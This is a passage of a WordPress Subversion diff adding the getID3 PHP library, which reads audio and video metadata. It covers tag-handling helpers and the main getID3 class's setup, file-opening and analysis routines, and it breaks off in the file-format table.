+		if ($tempfilename = tempnam($tempdir, 'gI3')) {
+			if (is_writable($tempfilename) && is_file($tempfilename) && ($tmp = fopen($tempfilename, 'wb'))) {
+				fwrite($tmp, $imgData);
+				fclose($tmp);
+				$GetDataImageSize = @getimagesize($tempfilename, $imageinfo);
+				if (($GetDataImageSize === false) || !isset($GetDataImageSize[0]) || !isset($GetDataImageSize[1])) {
+					return false;
+				}
+				$GetDataImageSize['height'] = $GetDataImageSize[0];
+				$GetDataImageSize['width']  = $GetDataImageSize[1];
+			}
+			unlink($tempfilename);
+		}
+		return $GetDataImageSize;
+	}
+
+	public static function ImageExtFromMime($mime_type) {
+		// temporary way, works OK for now, but should be reworked in the future
+		return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type);
+	}
+
+	public static function ImageTypesLookup($imagetypeid) {
+		static $ImageTypesLookup = array();
+		if (empty($ImageTypesLookup)) {
+			$ImageTypesLookup[1]  = 'gif';
+			$ImageTypesLookup[2]  = 'jpeg';
+			$ImageTypesLookup[3]  = 'png';
+			$ImageTypesLookup[4]  = 'swf';
+			$ImageTypesLookup[5]  = 'psd';
+			$ImageTypesLookup[6]  = 'bmp';
+			$ImageTypesLookup[7]  = 'tiff (little-endian)';
+			$ImageTypesLookup[8]  = 'tiff (big-endian)';
+			$ImageTypesLookup[9]  = 'jpc';
+			$ImageTypesLookup[10] = 'jp2';
+			$ImageTypesLookup[11] = 'jpx';
+			$ImageTypesLookup[12] = 'jb2';
+			$ImageTypesLookup[13] = 'swc';
+			$ImageTypesLookup[14] = 'iff';
+		}
+		return (isset($ImageTypesLookup[$imagetypeid]) ? $ImageTypesLookup[$imagetypeid] : '');
+	}
+
+	public static function CopyTagsToComments(&$ThisFileInfo) {
+
+		// Copy all entries from ['tags'] into common ['comments']
+		if (!empty($ThisFileInfo['tags'])) {
+			foreach ($ThisFileInfo['tags'] as $tagtype => $tagarray) {
+				foreach ($tagarray as $tagname => $tagdata) {
+					foreach ($tagdata as $key => $value) {
+						if (!empty($value)) {
+							if (empty($ThisFileInfo['comments'][$tagname])) {
+
+								// fall through and append value
+
+							} elseif ($tagtype == 'id3v1') {
+
+								$newvaluelength = strlen(trim($value));
+								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
+									$oldvaluelength = strlen(trim($existingvalue));
+									if (($newvaluelength <= $oldvaluelength) && (substr($existingvalue, 0, $newvaluelength) == trim($value))) {
+										// new value is identical but shorter-than (or equal-length to) one already in comments - skip
+										break 2;
+									}
+								}
+
+							} elseif (!is_array($value)) {
+
+								$newvaluelength = strlen(trim($value));
+								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
+									$oldvaluelength = strlen(trim($existingvalue));
+									if ((strlen($existingvalue) > 10) && ($newvaluelength > $oldvaluelength) && (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) {
+										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
+										//break 2;
+										break;
+									}
+								}
+
+							}
+							if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) {
+								$value = (is_string($value) ? trim($value) : $value);
+								if (!is_int($key) && !ctype_digit($key)) {
+									$ThisFileInfo['comments'][$tagname][$key] = $value;
+								} else {
+									if (isset($ThisFileInfo['comments'][$tagname])) {
+										$ThisFileInfo['comments'][$tagname] = array($value);
+									} else {
+										$ThisFileInfo['comments'][$tagname][] = $value;
+									}
+								}
+							}
+						}
+					}
+				}
+			}
+
+			// attempt to standardize spelling of returned keys
+			$StandardizeFieldNames = array(
+				'tracknumber' => 'track_number',
+				'track'       => 'track_number',
+			);
+			foreach ($StandardizeFieldNames as $badkey => $goodkey) {
+				if (array_key_exists($badkey, $ThisFileInfo['comments']) && !array_key_exists($goodkey, $ThisFileInfo['comments'])) {
+					$ThisFileInfo['comments'][$goodkey] = $ThisFileInfo['comments'][$badkey];
+					unset($ThisFileInfo['comments'][$badkey]);
+				}
+			}
+
+			// Copy to ['comments_html']
+			if (!empty($ThisFileInfo['comments'])) {
+				foreach ($ThisFileInfo['comments'] as $field => $values) {
+					if ($field == 'picture') {
+						// pictures can take up a lot of space, and we don't need multiple copies of them
+						// let there be a single copy in [comments][picture], and not elsewhere
+						continue;
+					}
+					foreach ($values as $index => $value) {
+						if (is_array($value)) {
+							$ThisFileInfo['comments_html'][$field][$index] = $value;
+						} else {
+							$ThisFileInfo['comments_html'][$field][$index] = str_replace('&#0;', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding']));
+						}
+					}
+				}
+			}
+
+		}
+		return true;
+	}
+
+
+	public static function EmbeddedLookup($key, $begin, $end, $file, $name) {
+
+		// Cached
+		static $cache;
+		if (isset($cache[$file][$name])) {
+			return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
+		}
+
+		// Init
+		$keylength  = strlen($key);
+		$line_count = $end - $begin - 7;
+
+		// Open php file
+		$fp = fopen($file, 'r');
+
+		// Discard $begin lines
+		for ($i = 0; $i < ($begin + 3); $i++) {
+			fgets($fp, 1024);
+		}
+
+		// Loop thru line
+		while (0 < $line_count--) {
+
+			// Read line
+			$line = ltrim(fgets($fp, 1024), "\t ");
+
+			// METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key
+			//$keycheck = substr($line, 0, $keylength);
+			//if ($key == $keycheck)  {
+			//	$cache[$file][$name][$keycheck] = substr($line, $keylength + 1);
+			//	break;
+			//}
+
+			// METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key
+			//$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1));
+			$explodedLine = explode("\t", $line, 2);
+			$ThisKey   = (isset($explodedLine[0]) ? $explodedLine[0] : '');
+			$ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : '');
+			$cache[$file][$name][$ThisKey] = trim($ThisValue);
+		}
+
+		// Close and return
+		fclose($fp);
+		return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
+	}
+
+	public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) {
+		global $GETID3_ERRORARRAY;
+
+		if (file_exists($filename)) {
+			if (include_once($filename)) {
+				return true;
+			} else {
+				$diemessage = basename($sourcefile).' depends on '.$filename.', which has errors';
+			}
+		} else {
+			$diemessage = basename($sourcefile).' depends on '.$filename.', which is missing';
+		}
+		if ($DieOnFailure) {
+			throw new Exception($diemessage);
+		} else {
+			$GETID3_ERRORARRAY[] = $diemessage;
+		}
+		return false;
+	}
+
+	public static function trimNullByte($string) {
+		return trim($string, "\x00");
+	}
+
+	public static function getFileSizeSyscall($path) {
+		$filesize = false;
+
+		if (GETID3_OS_ISWINDOWS) {
+			if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini:
+				$filesystem = new COM('Scripting.FileSystemObject');
+				$file = $filesystem->GetFile($path);
+				$filesize = $file->Size();
+				unset($filesystem, $file);
+			} else {
+				$commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI';
+			}
+		} else {
+			$commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\'';
+		}
+		if (isset($commandline)) {
+			$output = trim(`$commandline`);
+			if (ctype_digit($output)) {
+				$filesize = (float) $output;
+			}
+		}
+		return $filesize;
+	}
+
+
+	/**
+	* Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268)
+	* @param string $path A path.
+	* @param string $suffix If the name component ends in suffix this will also be cut off.
+	* @return string
+	*/
+	public static function mb_basename($path, $suffix = null) {
+		$splited = preg_split('#/#', rtrim($path, '/ '));
+		return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1);
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/getid3.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/getid3.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/getid3.php	(revision 56912)
@@ -0,0 +1,1844 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// Please see readme.txt for more information                  //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+// define a constant rather than looking up every time it is needed
+if (!defined('GETID3_OS_ISWINDOWS')) {
+	define('GETID3_OS_ISWINDOWS', (stripos(PHP_OS, 'WIN') === 0));
+}
+// Get base path of getID3() - ONCE
+if (!defined('GETID3_INCLUDEPATH')) {
+	define('GETID3_INCLUDEPATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
+}
+// Workaround Bug #39923 (https://bugs.php.net/bug.php?id=39923)
+if (!defined('IMG_JPG') && defined('IMAGETYPE_JPEG')) {
+	define('IMG_JPG', IMAGETYPE_JPEG);
+}
+if (!defined('ENT_SUBSTITUTE')) { // PHP5.3 adds ENT_IGNORE, PHP5.4 adds ENT_SUBSTITUTE
+	define('ENT_SUBSTITUTE', (defined('ENT_IGNORE') ? ENT_IGNORE : 8));
+}
+
+// attempt to define temp dir as something flexible but reliable
+$temp_dir = ini_get('upload_tmp_dir');
+if ($temp_dir && (!is_dir($temp_dir) || !is_readable($temp_dir))) {
+	$temp_dir = '';
+}
+if (!$temp_dir && function_exists('sys_get_temp_dir')) { // sys_get_temp_dir added in PHP v5.2.1
+	// sys_get_temp_dir() may give inaccessible temp dir, e.g. with open_basedir on virtual hosts
+	$temp_dir = sys_get_temp_dir();
+}
+$temp_dir = @realpath($temp_dir); // see https://github.com/JamesHeinrich/getID3/pull/10
+$open_basedir = ini_get('open_basedir');
+if ($open_basedir) {
+	// e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/"
+	$temp_dir     = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $temp_dir);
+	$open_basedir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $open_basedir);
+	if (substr($temp_dir, -1, 1) != DIRECTORY_SEPARATOR) {
+		$temp_dir .= DIRECTORY_SEPARATOR;
+	}
+	$found_valid_tempdir = false;
+	$open_basedirs = explode(PATH_SEPARATOR, $open_basedir);
+	foreach ($open_basedirs as $basedir) {
+		if (substr($basedir, -1, 1) != DIRECTORY_SEPARATOR) {
+			$basedir .= DIRECTORY_SEPARATOR;
+		}
+		if (preg_match('#^'.preg_quote($basedir).'#', $temp_dir)) {
+			$found_valid_tempdir = true;
+			break;
+		}
+	}
+	if (!$found_valid_tempdir) {
+		$temp_dir = '';
+	}
+	unset($open_basedirs, $found_valid_tempdir, $basedir);
+}
+if (!$temp_dir) {
+	$temp_dir = '*'; // invalid directory name should force tempnam() to use system default temp dir
+}
+// $temp_dir = '/something/else/';  // feel free to override temp dir here if it works better for your system
+if (!defined('GETID3_TEMP_DIR')) {
+	define('GETID3_TEMP_DIR', $temp_dir);
+}
+unset($open_basedir, $temp_dir);
+
+// End: Defines
+
+
+class getID3
+{
+	// public: Settings
+	public $encoding        = 'UTF-8';        // CASE SENSITIVE! - i.e. (must be supported by iconv()). Examples:  ISO-8859-1  UTF-8  UTF-16  UTF-16BE
+	public $encoding_id3v1  = 'ISO-8859-1';   // Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252'
+
+	// public: Optional tag checks - disable for speed.
+	public $option_tag_id3v1         = true;  // Read and process ID3v1 tags
+	public $option_tag_id3v2         = true;  // Read and process ID3v2 tags
+	public $option_tag_lyrics3       = true;  // Read and process Lyrics3 tags
+	public $option_tag_apetag        = true;  // Read and process APE tags
+	public $option_tags_process      = true;  // Copy tags to root key 'tags' and encode to $this->encoding
+	public $option_tags_html         = true;  // Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities
+
+	// public: Optional tag/comment calucations
+	public $option_extra_info        = true;  // Calculate additional info such as bitrate, channelmode etc
+
+	// public: Optional handling of embedded attachments (e.g. images)
+	public $option_save_attachments  = true; // defaults to true (ATTACHMENTS_INLINE) for backward compatibility
+
+	// public: Optional calculations
+	public $option_md5_data          = false; // Get MD5 sum of data part - slow
+	public $option_md5_data_source   = false; // Use MD5 of source file if availble - only FLAC and OptimFROG
+	public $option_sha1_data         = false; // Get SHA1 sum of data part - slow
+	public $option_max_2gb_check     = null;  // Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on PHP_INT_MAX)
+
+	// public: Read buffer size in bytes
+	public $option_fread_buffer_size = 32768;
+
+	// Public variables
+	public $filename;                         // Filename of file being analysed.
+	public $fp;                               // Filepointer to file being analysed.
+	public $info;                             // Result array.
+	public $tempdir = GETID3_TEMP_DIR;
+	public $memory_limit = 0;
+
+	// Protected variables
+	protected $startup_error   = '';
+	protected $startup_warning = '';
+
+	const VERSION           = '1.9.14-201706111222';
+	const FREAD_BUFFER_SIZE = 32768;
+
+	const ATTACHMENTS_NONE   = false;
+	const ATTACHMENTS_INLINE = true;
+
+	// public: constructor
+	public function __construct() {
+
+		// Check memory
+		$this->memory_limit = ini_get('memory_limit');
+		if (preg_match('#([0-9]+) ?M#i', $this->memory_limit, $matches)) {
+			// could be stored as "16M" rather than 16777216 for example
+			$this->memory_limit = $matches[1] * 1048576;
+		} elseif (preg_match('#([0-9]+) ?G#i', $this->memory_limit, $matches)) { // The 'G' modifier is available since PHP 5.1.0
+			// could be stored as "2G" rather than 2147483648 for example
+			$this->memory_limit = $matches[1] * 1073741824;
+		}
+		if ($this->memory_limit <= 0) {
+			// memory limits probably disabled
+		} elseif ($this->memory_limit <= 4194304) {
+			$this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini'."\n";
+		} elseif ($this->memory_limit <= 12582912) {
+			$this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini'."\n";
+		}
+
+		// Check safe_mode off
+		if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
+			$this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.');
+		}
+
+		if (($mbstring_func_overload = ini_get('mbstring.func_overload')) && ($mbstring_func_overload & 0x02)) {
+			// http://php.net/manual/en/mbstring.overload.php
+			// "mbstring.func_overload in php.ini is a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions"
+			// getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those.
+			$this->startup_error .= 'WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", getID3 cannot run with this setting (bitmask 2 (string functions) cannot be set). Recommended to disable entirely.'."\n";
+		}
+
+		// Check for magic_quotes_runtime
+		if (function_exists('get_magic_quotes_runtime')) {
+			if (get_magic_quotes_runtime()) {
+				$this->startup_error .= 'magic_quotes_runtime must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_runtime(0) and set_magic_quotes_runtime(1).'."\n";
+			}
+		}
+
+		// Check for magic_quotes_gpc
+		if (function_exists('magic_quotes_gpc')) {
+			if (get_magic_quotes_gpc()) {
+				$this->startup_error .= 'magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).'."\n";
+			}
+		}
+
+		// Load support library
+		if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) {
+			$this->startup_error .= 'getid3.lib.php is missing or corrupt'."\n";
+		}
+
+		if ($this->option_max_2gb_check === null) {
+			$this->option_max_2gb_check = (PHP_INT_MAX <= 2147483647);
+		}
+
+
+		// Needed for Windows only:
+		// Define locations of helper applications for Shorten, VorbisComment, MetaFLAC
+		//   as well as other helper functions such as head, tail, md5sum, etc
+		// This path cannot contain spaces, but the below code will attempt to get the
+		//   8.3-equivalent path automatically
+		// IMPORTANT: This path must include the trailing slash
+		if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) {
+
+			$helperappsdir = GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'; // must not have any space in this path
+
+			if (!is_dir($helperappsdir)) {
+				$this->startup_warning .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist'."\n";
+			} elseif (strpos(realpath($helperappsdir), ' ') !== false) {
+				$DirPieces = explode(DIRECTORY_SEPARATOR, realpath($helperappsdir));
+				$path_so_far = array();
+				foreach ($DirPieces as $key => $value) {
+					if (strpos($value, ' ') !== false) {
+						if (!empty($path_so_far)) {
+							$commandline = 'dir /x '.escapeshellarg(implode(DIRECTORY_SEPARATOR, $path_so_far));
+							$dir_listing = `$commandline`;
+							$lines = explode("\n", $dir_listing);
+							foreach ($lines as $line) {
+								$line = trim($line);
+								if (preg_match('#^([0-9/]{10}) +([0-9:]{4,5}( [AP]M)?) +(<DIR>|[0-9,]+) +([^ ]{0,11}) +(.+)$#', $line, $matches)) {
+									list($dummy, $date, $time, $ampm, $filesize, $shortname, $filename) = $matches;
+									if ((strtoupper($filesize) == '<DIR>') && (strtolower($filename) == strtolower($value))) {
+										$value = $shortname;
+									}
+								}
+							}
+						} else {
+							$this->startup_warning .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary. You can run "dir /x" from the commandline to see the correct 8.3-style names.'."\n";
+						}
+					}
+					$path_so_far[] = $value;
+				}
+				$helperappsdir = implode(DIRECTORY_SEPARATOR, $path_so_far);
+			}
+			define('GETID3_HELPERAPPSDIR', $helperappsdir.DIRECTORY_SEPARATOR);
+		}
+
+		if (!empty($this->startup_error)) {
+			echo $this->startup_error;
+			throw new getid3_exception($this->startup_error);
+		}
+
+		return true;
+	}
+
+	public function version() {
+		return self::VERSION;
+	}
+
+	public function fread_buffer_size() {
+		return $this->option_fread_buffer_size;
+	}
+
+
+	// public: setOption
+	public function setOption($optArray) {
+		if (!is_array($optArray) || empty($optArray)) {
+			return false;
+		}
+		foreach ($optArray as $opt => $val) {
+			if (isset($this->$opt) === false) {
+				continue;
+			}
+			$this->$opt = $val;
+		}
+		return true;
+	}
+
+
+	public function openfile($filename, $filesize=null) {
+		try {
+			if (!empty($this->startup_error)) {
+				throw new getid3_exception($this->startup_error);
+			}
+			if (!empty($this->startup_warning)) {
+				foreach (explode("\n", $this->startup_warning) as $startup_warning) {
+					$this->warning($startup_warning);
+				}
+			}
+
+			// init result array and set parameters
+			$this->filename = $filename;
+			$this->info = array();
+			$this->info['GETID3_VERSION']   = $this->version();
+			$this->info['php_memory_limit'] = (($this->memory_limit > 0) ? $this->memory_limit : false);
+
+			// remote files not supported
+			if (preg_match('#^(ht|f)tp://#', $filename)) {
+				throw new getid3_exception('Remote files are not supported - please copy the file locally first');
+			}
+
+			$filename = str_replace('/', DIRECTORY_SEPARATOR, $filename);
+			$filename = preg_replace('#(?<!gs:)('.preg_quote(DIRECTORY_SEPARATOR).'{2,})#', DIRECTORY_SEPARATOR, $filename);
+
+			// open local file
+			//if (is_readable($filename) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // see http://www.getid3.org/phpBB3/viewtopic.php?t=1720
+			if ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) {
+				// great
+			} else {
+				$errormessagelist = array();
+				if (!is_readable($filename)) {
+					$errormessagelist[] = '!is_readable';
+				}
+				if (!is_file($filename)) {
+					$errormessagelist[] = '!is_file';
+				}
+				if (!file_exists($filename)) {
+					$errormessagelist[] = '!file_exists';
+				}
+				if (empty($errormessagelist)) {
+					$errormessagelist[] = 'fopen failed';
+				}
+				throw new getid3_exception('Could not open "'.$filename.'" ('.implode('; ', $errormessagelist).')');
+			}
+
+			$this->info['filesize'] = (!is_null($filesize) ? $filesize : filesize($filename));
+			// set redundant parameters - might be needed in some include file
+			// filenames / filepaths in getID3 are always expressed with forward slashes (unix-style) for both Windows and other to try and minimize confusion
+			$filename = str_replace('\\', '/', $filename);
+			$this->info['filepath']     = str_replace('\\', '/', realpath(dirname($filename)));
+			$this->info['filename']     = getid3_lib::mb_basename($filename);
+			$this->info['filenamepath'] = $this->info['filepath'].'/'.$this->info['filename'];
+
+			// set more parameters
+			$this->info['avdataoffset']        = 0;
+			$this->info['avdataend']           = $this->info['filesize'];
+			$this->info['fileformat']          = '';                // filled in later
+			$this->info['audio']['dataformat'] = '';                // filled in later, unset if not used
+			$this->info['video']['dataformat'] = '';                // filled in later, unset if not used
+			$this->info['tags']                = array();           // filled in later, unset if not used
+			$this->info['error']               = array();           // filled in later, unset if not used
+			$this->info['warning']             = array();           // filled in later, unset if not used
+			$this->info['comments']            = array();           // filled in later, unset if not used
+			$this->info['encoding']            = $this->encoding;   // required by id3v2 and iso modules - can be unset at the end if desired
+
+			// option_max_2gb_check
+			if ($this->option_max_2gb_check) {
+				// PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB)
+				// filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize
+				// ftell() returns 0 if seeking to the end is beyond the range of unsigned integer
+				$fseek = fseek($this->fp, 0, SEEK_END);
+				if (($fseek < 0) || (($this->info['filesize'] != 0) && (ftell($this->fp) == 0)) ||
+					($this->info['filesize'] < 0) ||
+					(ftell($this->fp) < 0)) {
+						$real_filesize = getid3_lib::getFileSizeSyscall($this->info['filenamepath']);
+
+						if ($real_filesize === false) {
+							unset($this->info['filesize']);
+							fclose($this->fp);
+							throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by PHP.');
+						} elseif (getid3_lib::intValueSupported($real_filesize)) {
+							unset($this->info['filesize']);
+							fclose($this->fp);
+							throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize, 3).'GB, please report to info@getid3.org');
+						}
+						$this->info['filesize'] = $real_filesize;
+						$this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize, 3).'GB) and is not properly supported by PHP.');
+				}
+			}
+
+			return true;
+
+		} catch (Exception $e) {
+			$this->error($e->getMessage());
+		}
+		return false;
+	}
+
+	// public: analyze file
+	public function analyze($filename, $filesize=null, $original_filename='') {
+		try {
+			if (!$this->openfile($filename, $filesize)) {
+				return $this->info;
+			}
+
+			// Handle tags
+			foreach (array('id3v2'=>'id3v2', 'id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
+				$option_tag = 'option_tag_'.$tag_name;
+				if ($this->$option_tag) {
+					$this->include_module('tag.'.$tag_name);
+					try {
+						$tag_class = 'getid3_'.$tag_name;
+						$tag = new $tag_class($this);
+						$tag->Analyze();
+					}
+					catch (getid3_exception $e) {
+						throw $e;
+					}
+				}
+			}
+			if (isset($this->info['id3v2']['tag_offset_start'])) {
+				$this->info['avdataoffset'] = max($this->info['avdataoffset'], $this->info['id3v2']['tag_offset_end']);
+			}
+			foreach (array('id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
+				if (isset($this->info[$tag_key]['tag_offset_start'])) {
+					$this->info['avdataend'] = min($this->info['avdataend'], $this->info[$tag_key]['tag_offset_start']);
+				}
+			}
+
+			// ID3v2 detection (NOT parsing), even if ($this->option_tag_id3v2 == false) done to make fileformat easier
+			if (!$this->option_tag_id3v2) {
+				fseek($this->fp, 0);
+				$header = fread($this->fp, 10);
+				if ((substr($header, 0, 3) == 'ID3') && (strlen($header) == 10)) {
+					$this->info['id3v2']['header']        = true;
+					$this->info['id3v2']['majorversion']  = ord($header{3});
+					$this->info['id3v2']['minorversion']  = ord($header{4});
+					$this->info['avdataoffset']          += getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length
+				}
+			}
+
+			// read 32 kb file data
+			fseek($this->fp, $this->info['avdataoffset']);
+			$formattest = fread($this->fp, 32774);
+
+			// determine format
+			$determined_format = $this->GetFileFormat($formattest, ($original_filename ? $original_filename : $filename));
+
+			// unable to determine file format
+			if (!$determined_format) {
+				fclose($this->fp);
+				return $this->error('unable to determine file format');
+			}
+
+			// check for illegal ID3 tags
+			if (isset($determined_format['fail_id3']) && (in_array('id3v1', $this->info['tags']) || in_array('id3v2', $this->info['tags']))) {
+				if ($determined_format['fail_id3'] === 'ERROR') {
+					fclose($this->fp);
+					return $this->error('ID3 tags not allowed on this file type.');
+				} elseif ($determined_format['fail_id3'] === 'WARNING') {
+					$this->warning('ID3 tags not allowed on this file type.');
+				}
+			}
+
+			// check for illegal APE tags
+			if (isset($determined_format['fail_ape']) && in_array('ape', $this->info['tags'])) {
+				if ($determined_format['fail_ape'] === 'ERROR') {
+					fclose($this->fp);
+					return $this->error('APE tags not allowed on this file type.');
+				} elseif ($determined_format['fail_ape'] === 'WARNING') {
+					$this->warning('APE tags not allowed on this file type.');
+				}
+			}
+
+			// set mime type
+			$this->info['mime_type'] = $determined_format['mime_type'];
+
+			// supported format signature pattern detected, but module deleted
+			if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) {
+				fclose($this->fp);
+				return $this->error('Format not supported, module "'.$determined_format['include'].'" was removed.');
+			}
+
+			// module requires mb_convert_encoding/iconv support
+			// Check encoding/iconv support
+			if (!empty($determined_format['iconv_req']) && !function_exists('mb_convert_encoding') && !function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'UTF-16'))) {
+				$errormessage = 'mb_convert_encoding() or iconv() support is required for this module ('.$determined_format['include'].') for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. ';
+				if (GETID3_OS_ISWINDOWS) {
+					$errormessage .= 'PHP does not have mb_convert_encoding() or iconv() support. Please enable php_mbstring.dll / php_iconv.dll in php.ini, and copy php_mbstring.dll / iconv.dll from c:/php/dlls to c:/windows/system32';
+				} else {
+					$errormessage .= 'PHP is not compiled with mb_convert_encoding() or iconv() support. Please recompile with the --enable-mbstring / --with-iconv switch';
+				}
+				return $this->error($errormessage);
+			}
+
+			// include module
+			include_once(GETID3_INCLUDEPATH.$determined_format['include']);
+
+			// instantiate module class
+			$class_name = 'getid3_'.$determined_format['module'];
+			if (!class_exists($class_name)) {
+				return $this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.');
+			}
+			$class = new $class_name($this);
+			$class->Analyze();
+			unset($class);
+
+			// close file
+			fclose($this->fp);
+
+			// process all tags - copy to 'tags' and convert charsets
+			if ($this->option_tags_process) {
+				$this->HandleAllTags();
+			}
+
+			// perform more calculations
+			if ($this->option_extra_info) {
+				$this->ChannelsBitratePlaytimeCalculations();
+				$this->CalculateCompressionRatioVideo();
+				$this->CalculateCompressionRatioAudio();
+				$this->CalculateReplayGain();
+				$this->ProcessAudioStreams();
+			}
+
+			// get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
+			if ($this->option_md5_data) {
+				// do not calc md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too
+				if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) {
+					$this->getHashdata('md5');
+				}
+			}
+
+			// get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
+			if ($this->option_sha1_data) {
+				$this->getHashdata('sha1');
+			}
+
+			// remove undesired keys
+			$this->CleanUp();
+
+		} catch (Exception $e) {
+			$this->error('Caught exception: '.$e->getMessage());
+		}
+
+		// return info array
+		return $this->info;
+	}
+
+
+	// private: error handling
+	public function error($message) {
+		$this->CleanUp();
+		if (!isset($this->info['error'])) {
+			$this->info['error'] = array();
+		}
+		$this->info['error'][] = $message;
+		return $this->info;
+	}
+
+
+	// private: warning handling
+	public function warning($message) {
+		$this->info['warning'][] = $message;
+		return true;
+	}
+
+
+	// private: CleanUp
+	private function CleanUp() {
+
+		// remove possible empty keys
+		$AVpossibleEmptyKeys = array('dataformat', 'bits_per_sample', 'encoder_options', 'streams', 'bitrate');
+		foreach ($AVpossibleEmptyKeys as $dummy => $key) {
+			if (empty($this->info['audio'][$key]) && isset($this->info['audio'][$key])) {
+				unset($this->info['audio'][$key]);
+			}
+			if (empty($this->info['video'][$key]) && isset($this->info['video'][$key])) {
+				unset($this->info['video'][$key]);
+			}
+		}
+
+		// remove empty root keys
+		if (!empty($this->info)) {
+			foreach ($this->info as $key => $value) {
+				if (empty($this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) {
+					unset($this->info[$key]);
+				}
+			}
+		}
+
+		// remove meaningless entries from unknown-format files
+		if (empty($this->info['fileformat'])) {
+			if (isset($this->info['avdataoffset'])) {
+				unset($this->info['avdataoffset']);
+			}
+			if (isset($this->info['avdataend'])) {
+				unset($this->info['avdataend']);
+			}
+		}
+
+		// remove possible duplicated identical entries
+		if (!empty($this->info['error'])) {
+			$this->info['error'] = array_values(array_unique($this->info['error']));
+		}
+		if (!empty($this->info['warning'])) {
+			$this->info['warning'] = array_values(array_unique($this->info['warning']));
+		}
+
+		// remove "global variable" type keys
+		unset($this->info['php_memory_limit']);
+
+		return true;
+	}
+
+
+	// return array containing information about all supported formats
+	public function GetFileFormatArray() {
+		static $format_info = array();
+		if (empty($format_info)) {
+			$format_info = array(
+
+				// Audio formats
+
+				// AC-3   - audio      - Dolby AC-3 / Dolby Digital
+				'ac3'  => array(
+							'pattern'   => '^\\x0B\\x77',
+							'group'     => 'audio',
+							'module'    => 'ac3',
